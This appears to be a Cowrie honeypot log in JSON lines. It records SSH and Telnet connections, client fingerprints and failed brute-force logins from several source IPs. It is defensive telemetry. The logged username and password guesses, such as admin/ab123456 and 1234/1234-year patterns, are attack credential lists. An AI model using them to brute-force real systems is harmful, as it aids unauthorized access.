{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:51.106108Z","src_ip":"159.203.92.129","session":"d4ff65e92900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342022","message":"login attempt [1234/12342022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:51.115761Z","src_ip":"159.203.92.129","session":"d4ff65e92900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:52.136678Z","src_ip":"159.203.92.129","session":"d4ff65e92900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":47462,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c18c7dba972","protocol":"ssh","message":"New connection: 171.25.158.70:47462 (10.17.0.5:22) [session: 5c18c7dba972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:27.733938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:27.738211Z","src_ip":"171.25.158.70","session":"5c18c7dba972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:27.892872Z","src_ip":"171.25.158.70","session":"5c18c7dba972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"meekie","message":"login attempt [admin/meekie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:28.417700Z","src_ip":"171.25.158.70","session":"5c18c7dba972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:29.530744Z","src_ip":"171.25.158.70","session":"5c18c7dba972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0586ff1e79a5","protocol":"ssh","message":"New connection: 159.203.92.129:35266 (159.203.135.109:22) [session: 0586ff1e79a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:32.876077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:32.881884Z","src_ip":"159.203.92.129","session":"0586ff1e79a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:32.887467Z","src_ip":"159.203.92.129","session":"0586ff1e79a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342023","message":"login attempt [1234/12342023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:32.899329Z","src_ip":"159.203.92.129","session":"0586ff1e79a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:33.906625Z","src_ip":"159.203.92.129","session":"0586ff1e79a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.117.176.143","src_port":48422,"dst_ip":"10.17.0.5","dst_port":23,"session":"181bd724a94f","protocol":"telnet","message":"New connection: 125.117.176.143:48422 (10.17.0.5:23) [session: 181bd724a94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:44.645405Z"}
{"eventid":"cowrie.session.closed","duration":13.429347515106201,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:23:58.074629Z","src_ip":"125.117.176.143","session":"181bd724a94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60316,"dst_ip":"159.203.135.109","dst_port":22,"session":"afabcb2a40d6","protocol":"ssh","message":"New connection: 159.203.92.129:60316 (159.203.135.109:22) [session: afabcb2a40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:16.496732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:16.501244Z","src_ip":"159.203.92.129","session":"afabcb2a40d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:16.505960Z","src_ip":"159.203.92.129","session":"afabcb2a40d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342024","message":"login attempt [1234/12342024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:16.518229Z","src_ip":"159.203.92.129","session":"afabcb2a40d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:17.525571Z","src_ip":"159.203.92.129","session":"afabcb2a40d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":34030,"dst_ip":"10.17.0.5","dst_port":22,"session":"96a19a6e4940","protocol":"ssh","message":"New connection: 171.25.158.70:34030 (10.17.0.5:22) [session: 96a19a6e4940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:17.806691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:17.811549Z","src_ip":"171.25.158.70","session":"96a19a6e4940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:17.920945Z","src_ip":"171.25.158.70","session":"96a19a6e4940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ab123456","message":"login attempt [admin/ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:18.422664Z","src_ip":"171.25.158.70","session":"96a19a6e4940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:19.535047Z","src_ip":"171.25.158.70","session":"96a19a6e4940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":40958,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02b84f498fa","protocol":"ssh","message":"New connection: 27.119.7.6:40958 (10.17.0.5:22) [session: f02b84f498fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:20.477088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:20.489689Z","src_ip":"27.119.7.6","session":"f02b84f498fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:20.690529Z","src_ip":"27.119.7.6","session":"f02b84f498fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testout","password":"testout","message":"login attempt [testout/testout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:21.550400Z","src_ip":"27.119.7.6","session":"f02b84f498fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:22.796030Z","src_ip":"27.119.7.6","session":"f02b84f498fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60526,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03a0d089e25","protocol":"ssh","message":"New connection: 159.203.92.129:60526 (159.203.135.109:22) [session: a03a0d089e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:59.319079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:59.323471Z","src_ip":"159.203.92.129","session":"a03a0d089e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:59.328353Z","src_ip":"159.203.92.129","session":"a03a0d089e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342025","message":"login attempt [1234/12342025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:24:59.339447Z","src_ip":"159.203.92.129","session":"a03a0d089e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:00.346264Z","src_ip":"159.203.92.129","session":"a03a0d089e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":57826,"dst_ip":"10.17.0.5","dst_port":22,"session":"442be87685bc","protocol":"ssh","message":"New connection: 171.25.158.70:57826 (10.17.0.5:22) [session: 442be87685bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:06.402979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:06.414339Z","src_ip":"171.25.158.70","session":"442be87685bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:06.522491Z","src_ip":"171.25.158.70","session":"442be87685bc","protocol":"ssh"}
